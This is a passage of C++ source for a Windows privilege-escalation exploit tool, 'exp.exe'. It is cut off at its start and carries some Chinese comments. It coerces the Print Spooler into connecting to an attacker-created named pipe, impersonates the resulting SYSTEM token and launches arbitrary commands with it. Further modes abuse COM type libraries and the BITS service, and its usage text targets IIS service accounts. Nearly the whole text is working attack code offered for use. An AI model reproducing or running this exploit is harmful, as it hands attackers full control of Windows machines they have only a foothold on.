	GetComputerNameW(NetworkAddr, &dwNameLen);
	//swprintf(pszEndpoint,100, L"NCALRPCServer%d", GetCurrentProcessId());		
	status = RpcStringBindingCompose(

		NULL,
		RPC_WSTR(pszProtocolSequence),
		RPC_WSTR(NetworkAddr),
		RPC_WSTR(pszEndpoint),
		NULL,
		(RPC_WSTR*)&pszStringBinding);
	if (status)
	{

		printf("[Info] RpcStringBindingCompose Failed :%d\n", status);
		exit(0);
	}
	else
	{
		printf("[Info] RpcStringBindingCompose [%ls] Done :%d\n", pszStringBinding, status);
	}
	status = RpcServerRegisterAuthInfo(nullptr, RPC_C_AUTHN_GSS_NEGOTIATE, nullptr, nullptr);
	if (status)
	{

		printf("[Info] RpcServerRegisterAuthInfo Failed :%d\n", status);
		exit(0);
	}
	else
	{
		printf("[Info] RpcServerRegisterAuthInfo Done :%d\n", status);
	}
	status = RpcServerUseProtseqEpW(
		RPC_WSTR(pszProtocolSequence),
		RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
		RPC_WSTR(pszEndpoint),
		pszSecurity);

	if (status)
	{

		printf("[Info] RpcServerUseProtseqEpW Failed :%d\n", status);
		exit(0);
	}
	else
	{
		printf("[Info] RpcServerUseProtseqEpW Done :%d\n", status);
	}
	status = RpcServerRegisterIf2(IObjectExporter_v0_0_s_ifspec,
		NULL,
		NULL,
		RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH | RPC_IF_SEC_NO_CACHE,
		RPC_C_LISTEN_MAX_CALLS_DEFAULT,
		-1,
		SecurityCallback);

	if (status)
	{

		printf("[Info] RpcServerRegisterIf2 Failed :%d\n", status);
		exit(0);
	}
	else
	{
		printf("[Info] RpcServerRegisterIf2 Done :%d\n", status);
	}
	status = RpcServerListen(cMinCalls,
		RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
		TRUE);

	if (status)
	{

		printf("[Info] RpcServerListen Failed :%d\n", status);
		exit(0);
	}
	else
	{
		printf("[Info] RpcServerListen Done :%d\n", status);
	}
	SetEvent(ev);

	status = RpcMgmtWaitServerListen();
	if (status)
	{

		printf("[Info] RpcMgmtWaitServerListen Failed :%d\n", status);
		exit(0);
	}
	else
	{
		printf("[Info] RpcMgmtWaitServerListen Done :%d\n", status);
	}


}


BOOL StartConnectingService()
{
	WCHAR* svcName = L"Spooler";
	try{
		
		SC_HANDLE schSCM;
		SC_HANDLE schSvc;
		SERVICE_STATUS ServiceStatus;
		schSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
		if (NULL == schSCM)
		{
			printf("Failed OpenSCManager: %d\n", GetLastError());
			return FALSE;
		}

		schSvc = OpenService(schSCM, svcName,  SERVICE_QUERY_STATUS);
		if (NULL == schSvc)
		{
			wprintf(L"Failed OpenService %s: %d\n", svcName, GetLastError());
			return FALSE;
		}
		QueryServiceStatus(schSvc, &ServiceStatus);
		if (ServiceStatus.dwCurrentState == SERVICE_RUNNING || ServiceStatus.dwCurrentState == SERVICE_PAUSED)

		{
			wprintf(L"ServiceStatus Already Started %s: %d\n", svcName, GetLastError());
			CloseServiceHandle(schSvc);
			CloseServiceHandle(schSCM);
			return TRUE;

		} else
		{
			CloseServiceHandle(schSvc);
			CloseServiceHandle(schSCM);			
			wprintf(L"ServiceStatus Not started %ls: %d\n", svcName, GetLastError());
			return FALSE;
		}
		/*if (!StartService(schSvc, 0, NULL))
		{
			wprintf(L"Failed Starting %s: %d\n", svcName, GetLastError());
			return FALSE;
		}*/

		
	}
	catch (...)
	{
		wprintf(L"ServiceStatus Failed %ls: %d\n", svcName, GetLastError());
	}
	return FALSE;
	
}

BOOL StartRpcService()
{
	RPC_STATUS status;
	unsigned int  cMinCalls = 1;
	RPC_BINDING_HANDLE v5;
	RPC_SECURITY_QOS SecurityQOS = {};
	RPC_WSTR StringBinding = nullptr;
	
	wchar_t NetworkAddr[100];
	DWORD dwNameLen;
	if (StartConnectingService())
	{
		GetComputerNameW(NetworkAddr, &dwNameLen);
		status = RpcStringBindingComposeW(nullptr, L"ncacn_np", NetworkAddr, L"\\pipe\\spoolss", L"Security=Anonymous Static False", &StringBinding);

		if (status){
			printf("RpcStringBindingComposeW Failed:%d\n", status);
			return(status);
		}

		status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
		RpcStringFreeW(&StringBinding);
		if (status){
			printf("RpcBindingFromStringBindingW Failed:%d\n", status);
			return(status);
		}
		SecurityQOS.Version = 1;
		SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
		SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
		SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;

		status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
		if (status){
			printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
			return(status);
		}

		status = RpcEpResolveBinding(hBinding, winspool_v1_0_c_ifspec);

		if (status){
			printf("RpcEpResolveBinding Failed:%d\n", status);
			return(status);
		}
	} else
	{
		printf("Start Connecting Print Spooler Service Failed");
		ExitProcess(0);
	}
	
	
	
	return 0;
}

BOOL RunRpcService()
{
	wchar_t  targetServer[100]  ;
	wchar_t  captureServer[100];
	wchar_t NetworkAddr[100];
	DWORD dwNameLen;
	GetComputerNameW(NetworkAddr, &dwNameLen);
	_snwprintf(targetServer,100, L"\\\\%ls\x00", NetworkAddr);
	_snwprintf(captureServer, 100, L"\\\\./pipe/door", NetworkAddr);
	
	DEVMODE_CONTAINER devmode_container;
	SecureZeroMemory(&devmode_container, sizeof(DEVMODE_CONTAINER));
	HANDLE pHandle=nullptr;
	long ret = RpcOpenPrinter(targetServer,&pHandle, NULL, &devmode_container, 0);
	
	printf("[info] RpcOpenPrinter :%08x\n", ret);
	ret = RpcRemoteFindFirstPrinterChangeNotification(pHandle, 0x00000100, 0,captureServer,0,0,0);
	printf("[info] RpcRemoteFindFirstPrinterChangeNotification :%08x\n", ret);
	return 0;
}


DWORD WINAPI ThreadProcPipe(LPVOID lpParameter){

	wchar_t NetworkAddr[100];
	wchar_t  captureServer[100];
	DWORD dwNameLen;
	GetComputerNameW(NetworkAddr, &dwNameLen);
	wchar_t szPipe2[] = L"\\\\./pipe/door\\pipe\\spoolss";
	wchar_t szPipe[] = L"\\\\%ls\\pipe\\door\\pipe\\spoolss";
	_snwprintf(captureServer, 100, szPipe, NetworkAddr);
	wprintf(L"[info] Using Pipe:%ls\n",captureServer);
	BSTR cmdPath = (BSTR)malloc(MAX_PATH);
	BSTR appPath = (BSTR)malloc(MAX_PATH);
	DWORD session_id = 0;
	HANDLE hToken = nullptr;
	HANDLE duped_token = nullptr;
	HANDLE hPipe = 0;
	hPipe = CreateNamedPipe(szPipe2, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL);
	if (!hPipe) {
		printf("[+]CreateNamedPipe Failed: %08X\n", GetLastError());
		SetEvent(*((HANDLE *)lpParameter));
		return 0;
	}

	ConnectNamedPipe(hPipe, NULL);

	if (!ImpersonateNamedPipeClient(hPipe)) {
		printf("[+]ImpersonateNamedPipeClient Failed: %08X\n", GetLastError());
		CloseHandle(hPipe);
		SetEvent(*((HANDLE *)lpParameter));
		return 0;
	}


	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken)) {
		printf("[+]OpenThreadToken Failed: %08X\n", GetLastError());
		SetEvent(*((HANDLE *)lpParameter));
		return 0;
	}
	CloseHandle(hPipe);

	
	PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
	DWORD ret_len = 0;
	if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
	{
		LPWSTR sid_name;
		ConvertSidToStringSid(user->User.Sid, &sid_name);
		if (((wcscmp(sid_name, L"S-1-5-18") == 0 || wcscmp(sid_name, L"S-1-5-20") == 0)))
		{
			printf("[!] System Token is Name  => %ls  ValuePointeris:%p \n", sid_name, hToken);
			//
		}
		else {
			printf("[!]  Token is Sid Name  => %ls  ValuePointeris:%p \n", sid_name, hToken);
		}
	}
	if (wcscmp(g_picline, L"a") == 0 || wcscmp(g_picline, L"b") == 0)
	{
		DuplicateTokenEx(hToken,
			TOKEN_ALL_ACCESS,
			NULL,
			SecurityImpersonation,
			TokenPrimary,
			&duped_token);
		if (duped_token)
		{


			ProcessIdToSessionId(GetCurrentProcessId(), &session_id);

			if (!SetTokenInformation(duped_token, TokenSessionId, &session_id, 4u))
			{
				printf("[Info] SetTokenInformation Failed: %08X\n", GetLastError());
			}

			hToken = duped_token;
		}

	} /*else
	  {
	  ProcessIdToSessionId(GetCurrentProcessId(), &session_id);

	  if (!SetTokenInformation(hToken, TokenSessionId, &session_id, 4u))
	  {
	  printf("[Info] SetTokenInformation Failed: %08X\n", GetLastError());
	  }


	  }*/
	RpcRevertToSelf();
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
	si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
	si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
	si.wShowWindow = SW_HIDE;
	si.lpDesktop = L"winsta0\\default";

	if (wcscmp(g_picline, L"a") == 0)
	{
		HANDLE hPipe = checkNamedPipe();
		wcscpy(appPath, GetExePath().GetBSTR());
		wcscpy(cmdPath, appPath);
		wcscat(cmdPath, L" door");
		//wcscpy(cmdPath, L"c:\\windows\\notepad.exe");
		printf("[info] Run %ls\n", cmdPath);
		printf("[info] Try Use CreateProcessWithTokenW \n");
		EnablePrivilege(SE_IMPERSONATE_NAME);
		if (CreateProcessWithTokenW(hToken, NULL, _wcsdup(appPath), _wcsdup(cmdPath), 0, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {

			printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);

			fflush(stdout);
			NamedPipeCallback(hPipe, g_cmdline, FALSE);
			//WaitForSingleObject(pi.hProcess, -1);

		}
		else
		{
			//si.dwFlags = 0;
			printf("[info] Try Use CreateProcessAsUser \n");
			EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
			if (CreateProcessAsUserW(hToken, _wcsdup(appPath), _wcsdup(cmdPath), NULL, 0, TRUE, 0, 0, 0, &si, &pi)) {


				printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);

				fflush(stdout);
				NamedPipeCallback(hPipe, g_cmdline, FALSE);
				WaitForSingleObject(pi.hProcess, 10000);
			}
			else
			{
				printf("[x] can not create process:%d\n", GetLastError());
			}

		}

	}
	else if (wcscmp(g_picline, L"b") == 0)
	{
		printf("[info] Run %ls\n", g_cmdline);
		printf("[info] Try Use CreateProcessAsUser \n");
		EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
		if (CreateProcessAsUser(hToken, NULL, _wcsdup(g_cmdline), 0, 0, TRUE, 0, 0, 0, &si, &pi)) {
			printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);
			fflush(stdout);
			WaitForSingleObject(pi.hProcess, 10000);
		}
		else
		{
			printf("[info] Try Use CreateProcessWithTokenW \n");
			EnablePrivilege(SE_IMPERSONATE_NAME);
			if (CreateProcessWithTokenW(hToken, NULL, NULL, _wcsdup(g_cmdline), 0, 0, NULL, (LPSTARTUPINFOW)&si, &pi)) {
				printf("[!] process with pid:%d created.\n==============================\n", pi.dwProcessId);

				fflush(stdout);
				//WaitForSingleObject(pi.hProcess, -1);
			}
			else
			{
				printf("[x] can not create process:%d\n", GetLastError());
			}

		}
		ExitProcess(0);



	}
	else  if (wcscmp(g_picline, L"c") == 0){
		EnablePrivilege(SE_IMPERSONATE_NAME);
		bool b = ImpersonateLoggedOnUser(hToken);
		if (b)
		{
			// Configure the impersonated logged-on user's token as the helper token.
			printf("[Info] ImpersonateLoggedOnUser Success Complete Result: %08X\n", GetLastError());

			//RevertToSelf();
		}
		else
		{

			printf("[Info] ImpersonateLoggedOnUser Failed: %08X\n", GetLastError());
			exit(0);
		}

		FakeBits();

	}

	if (hToken)
	{
		CloseHandle(hToken);
	}
	else
	{
		if (duped_token)
		{
			CloseHandle(duped_token);
		}
	}
	SetEvent(*((HANDLE *)lpParameter));
	return 1;
}


int _tmain(int argc, _TCHAR* argv[])
{
	try
	{
		IID IID_InterfaceTemp;
		IID TypeLib_InterfaceTemp;
		ChaHua* exp = nullptr;
		HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
		//LPCWSTR dllPath = L"C:\\Program Files (x86)\\Common Files\\Designer\\MSADDNDR.DLL";
		HRESULT hr = S_OK;
		//hr = CoInitialize(NULL);
		hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);

		if (argc < 2)
		{
			//所有模式u,t,f,v,d
			//新模式abc
			printf("[+] Print For IIS Run CMD With NamedPipe Mode : exp.exe a \"whoami \/user\"");
			printf("[+] Print For IIS Run CMD Directly Mode : exp.exe b \"whoami \/user\"");
			printf("[+] Print For IIS Run CMD Stable Mode Use Bits Service : exp.exe c \"whoami \/user\"");		
			//老exp所有模式p,x,y
			printf("[+] Com For IIS Run CMD With NamedPipe Mode : exp.exe p \"whoami \/user\" [CLSID_Interface]\n");
			printf("[+] Com For IIS Run CMD Stable Mode Use Bits Service : exp.exe x \"whoami \/user\" [CLSID_Interface]\n");
			printf("[+] Com For IIS Run CMD Directly Mode : exp.exe y \"whoami \/user\" [CLSID_Interface]\n");
			printf("[+] Build Scrip and Run CMD: exp.exe u \"whoami \/user\"\n");
			printf("[+] Test CMD Directly With IID_Interface : exp.exe t \"whoami \/user\" \"IID_Interface\" \n");
			printf("[+] List Vulnerable File: exp.exe v [find path] [extension]\n");
			printf("[+] List Vulnerable File Deep Mode: exp.exe d [find path] [extension]\n");
			printf("[+] Build Script and Run CMD With IID_Interface Auto Mode: exp.exe u \"whoami \/user\" \"IID_Interface\" \n");
			printf("[+] Build Script and Run CMD With TypeLib_Path Auto Mode: exp.exe u \"whoami \/user\" \"TypeLib_Path\" \n");
			printf("[+] Build Script and Run CMD With Advanced Mode: exp.exe u \"whoami \/user\" \"IID_Interface\" \"InterfaceName\" \"TypeLib_GUID_Interface\" [TypeLib_Path]  \n");
			printf("[+] Build Typelib and Script Only : exp.exe h [script path]\n");

		}




		else
		{
			//wcscpy(if_name, L"IAddinDesigner");
			//v,d为查找模式
			if (_wcsicmp(argv[1], L"v") == 0 | _wcsicmp(argv[1], L"d") == 0)
			{
				if (argc > 2)
				{


					if (argc > 3)
					{
						exp = new ChaHua(argv[2], argv[3]);
					}
					else
					{
						exp = new ChaHua(argv[2]);
					}
				}
				else
				{
					exp = new ChaHua();
				}

				exp->list_vulnerable(_wcsicmp(argv[1], L"d") == 0);
				return 0;
			}
			if (_wcsicmp(argv[1], L"u") == 0 || _wcsicmp(argv[1], L"f") == 0 || _wcsicmp(argv[1], L"h") == 0 || _wcsicmp(argv[1], L"t") == 0)
			{
				wcscpy(g_cmdline, L"whoami");


				//会自动检测不需要			
				//wcscpy(dllPath , L"C:\\Program Files (x86)\\Common Files\\Designer\\MSADDNDR.DLL");
				//CLSIDFromString(L"{AC0714F6-3D04-11D1-AE7D-00A0C90F26F4}", &CLSID_IAddinDesigner);//org



				CLSIDFromString(L"{55E3EA25-55CB-4650-8887-18E8D30BB4BC}", &IID_InterfaceTemp);
				CLSIDFromString(L"{4FB2D46F-EFC8-4643-BCD0-6E5BFA6A174C}", &TypeLib_InterfaceTemp);

				if (_wcsicmp(argv[1], L"u") == 0)
				{
					//有IID_IAddinDesigner或路径才判断
					if (argc > 3)
					{
						if (wcschr(argv[3], L'{') == NULL)
						{

							exp = new ChaHua(argv[3]);

							if (!exp->GetTypeLibInfoToExploitWrapper(FALSE))
							{
								printf("[+]Check TypeLib Failed , Invalid  Path \n");
								return 0;
							}

							if (!exp->GetRegTypeInfoOfIIDWrapper(FALSE))
							{
								printf("[+]Check LoadTypeLib Failed \n");
								return 0;
							}
							exp->CheckDllPathCompare(argv[3]);

						}
						else{
							CLSIDFromString(argv[3], &IID_InterfaceTemp);

							if (argc > 4)
							{

								CLSIDFromString(argv[5], &TypeLib_InterfaceTemp);

								if (argc > 6)
								{
									exp = new ChaHua(IID_InterfaceTemp, argv[4], TypeLib_InterfaceTemp, argv[6]);
								}
								else{
									exp = new ChaHua(IID_InterfaceTemp, argv[4], TypeLib_InterfaceTemp);
									hr = exp->ReQueryPathOfRegTypeLibWrapper(FALSE);
									if (FAILED(hr))
									{
										printf("[+]QueryPathOfRegTypeLib Failed Result: %08X\n", hr);
										return 0;
									}
								}
							}
							if (argc == 4)
							{
								exp = new ChaHua(IID_InterfaceTemp);
								if (!exp->GetRegTypeInfoOfIIDWrapper(FALSE))
								{
									printf("[+]Check LoadTypeLib Failed \n");
									return 0;
								}
							}
						}
					}
					else
					{
						exp = new ChaHua(IID_InterfaceTemp);
						if (!exp->GetRegTypeInfoOfIIDWrapper(FALSE))
						{
							printf("[+]Check LoadTypeLib Failed \n");
							return 0;
						}
					}

				}

				//
				//p是直接模式不做检测,修复CreateNewProcess调用也检测argv[1]问题
				else  if ((_wcsicmp(argv[1], L"h") == 0))
				{
					CLSIDFromString(argv[3], &IID_InterfaceTemp);
					CLSIDFromString(argv[5], &TypeLib_InterfaceTemp);

					if (argc > 6)
					{
						//wcscpy(dllPath, argv[6]);

						exp = new ChaHua(IID_InterfaceTemp, argv[4], TypeLib_InterfaceTemp, argv[6]);
					}
					else{
						exp = new ChaHua(IID_InterfaceTemp, argv[4], TypeLib_InterfaceTemp);
						hr = exp->ReQueryPathOfRegTypeLibWrapper(FALSE);
						if (FAILED(hr))
						{
							printf("[+]QueryPathOfRegTypeLib Failed Result: %08X\n", hr);
							//return 0;
						}

					}



				}




				
				if (_wcsicmp(argv[1], L"h") == 0)
				{

					if (argc == 3)
					{
						exp->BuildTypeLibsWrapper(argv[2]);

					}
					else
					{
						exp->BuildTypeLibsWrapper(nullptr);
					}

				}
				else if (_wcsicmp(argv[1], L"u") == 0)
				{

					if (argc > 2)
					{
						wcscpy(g_cmdline, argv[2]);
					}



					if (RunRpc(exp->GetDllPath()))
					{
						exp->BuildTypeLibsWrapper(nullptr);

						if (exp->ExploitCopyFile())
						{
							TestBitsInterface(hEvent, exp->GetFakeIID_IInterface());
						}
					}

				}

				//不检测直接执行模式,不做typelib检测
				else if (_wcsicmp(argv[1], L"t") == 0)
				{

					if (argc == 3)
					{
						wcscpy(g_cmdline, argv[2]);
					}

					if (argc > 3)
					{
						CLSIDFromString(argv[3], &IID_InterfaceTemp);
					}
					TestBitsInterface(hEvent, &IID_InterfaceTemp);
				}
			}
			else  if (_wcsicmp(argv[1], L"p") == 0 || _wcsicmp(argv[1], L"x") == 0 || _wcsicmp(argv[1], L"y") == 0)
			{
				hr = CoInitializeSecurity(
					NULL,
					-1,
					NULL,
					NULL,
					RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
					RPC_C_IMP_LEVEL_IMPERSONATE,
					NULL,
					EOAC_DYNAMIC_CLOAKING,
					0
					);
				CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &Global_Clsid);
				wcscpy(g_cmdline, argv[2]);
				wcscpy(g_picline, argv[1]);
				if (argc > 3)
				{
					CLSIDFromString(argv[3], &Global_Clsid);

				}

				BSTR str_Global_Clsid = (BSTR)malloc(LEN);
				StringFromIID(Global_Clsid, &str_Global_Clsid);
				printf("[Info] My Poc Custom Command is:=> [%ls] \n", g_cmdline);
				printf("[Info] Use Global_Clsid :=> %ls \n", str_Global_Clsid);
				BindObjectExporter();
				return 0;

			}
			else  if (_wcsicmp(argv[1], L"a") == 0 || _wcsicmp(argv[1], L"b") == 0 || _wcsicmp(argv[1], L"c") == 0)
			{
				DWORD lpThreadId;
				wcscpy(g_cmdline, argv[2]);
				wcscpy(g_picline, argv[1]);
				CreateThread(NULL, NULL, ThreadProcPipe, &hEvent, NULL, &lpThreadId);
				StartRpcService();
				RunRpcService();
				WaitForSingleObject(hEvent, 30000);
			}
			if (_wcsicmp(argv[1], L"door") == 0)
			{
				CreateNewProcess();
				return 0;
			}
			else
			{
				CreateNewProcess();
				return 0;
			}


		}
	}
	catch (const _com_error& err)
	{
		printf("[+]Error: %ls\n", err.ErrorMessage());
	}
	CoUninitialize();//释放COM
	return 0;
}
